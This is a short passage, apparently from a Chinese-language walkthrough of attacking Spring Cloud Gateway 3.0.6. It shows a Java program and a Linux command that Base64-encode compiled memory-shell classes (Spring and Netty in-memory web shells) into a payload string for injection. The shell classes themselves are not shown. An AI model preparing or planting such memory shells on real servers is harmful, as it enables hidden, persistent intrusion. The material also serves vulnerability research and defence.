使用以下代码
package org.springframework.cloud.gateway.sample;
import org.springframework.util.Base64Utils;
import java.io.*;
import java.nio.charset.StandardCharsets;
public class EncodeShell {
public static void main(String[] args){
byte[] data = null;
try {
InputStream in = new FileInputStream("E:\\代审计划\\spring-cloud-gateway-3.0.6\\spring-cloud-gateway-sample\\target\\classes\\SpringRequestMappingMemshell.class");
data = new byte[in.available()];
in.read(data);
in.close();
} catch (IOException e) {
e.printStackTrace();
}
String shellStr = Base64Utils.encodeToString(data);
System.out.println(shellStr);
try {
OutputStream out = new FileOutputStream("ShellStr.txt");
out.write(shellStr.getBytes(StandardCharsets.UTF_8));
out.flush();
out.close();
} catch (IOException e) {
e.printStackTrace();
}
}
}
或者linux中
base64 /root/Desktop/NettyMemshell.class